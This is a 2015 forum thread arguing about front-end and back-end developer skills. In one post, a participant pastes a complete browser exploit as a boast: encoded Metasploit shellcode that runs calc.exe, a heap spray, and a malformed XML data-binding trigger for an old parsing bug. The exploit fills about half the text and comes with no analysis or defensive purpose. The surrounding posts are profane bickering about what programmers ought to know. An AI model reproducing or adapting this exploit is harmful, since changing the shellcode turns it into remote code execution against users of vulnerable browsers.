1
General discussion / Re: Front end and back end
« on: October 13, 2015, 06:28:50 PM »@Code.Illusionist Don't listen to him. He is saying network hacker and javascript/html/css in the same sentence. He gonna hack your network with javascript and css. He has mastered C++ templates from the boost lib. He is coding the the website's main backend using C++ [which is ok] but doesn't want to know about html, i wonder how he will present the results of all that processing with his C++ templates to the world. SERIOUS DoctorT.
My say is the same people should do this or have a good communication link between the two team or we are going to have a shitty product out there since these people don't communicate. Again @OP, be happy and celebrate you have the opportunity you have here, unless you are not motivated to learn.
I admit I wasn't clear (a little rushed while making my reply) last time, but I never said I could "hack into (someone's) network using JS/CSS." I am not shitting you, but you can do stuff with Javascript... Here is an exploit I copy-pasted from Stackoverflow's thread about it .
Code: [Select]
html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Obviously this exploits some XML parsing bug which is out of the scope of this thread. I am just saying, to be a computer scientist (actual engineer), you need to know shit about your field while also being decent at maths, physics, chemistry and biology where all except maths are irrelevant in your field. Because when you call yourself a programmer, you must be able to code Javascript (can you code a forum software, an actual, functioning software which is the bread and butter of companies like Invision, Internet Brands and then-Jelsoft?, without using Jquery/Javascript? You must be bullshiting) and stuff like that. But I wouldn't work for a company that tells me to create a debugger, then design (color, move stuff, create categories, etc.) for its promotional website. Fuck that.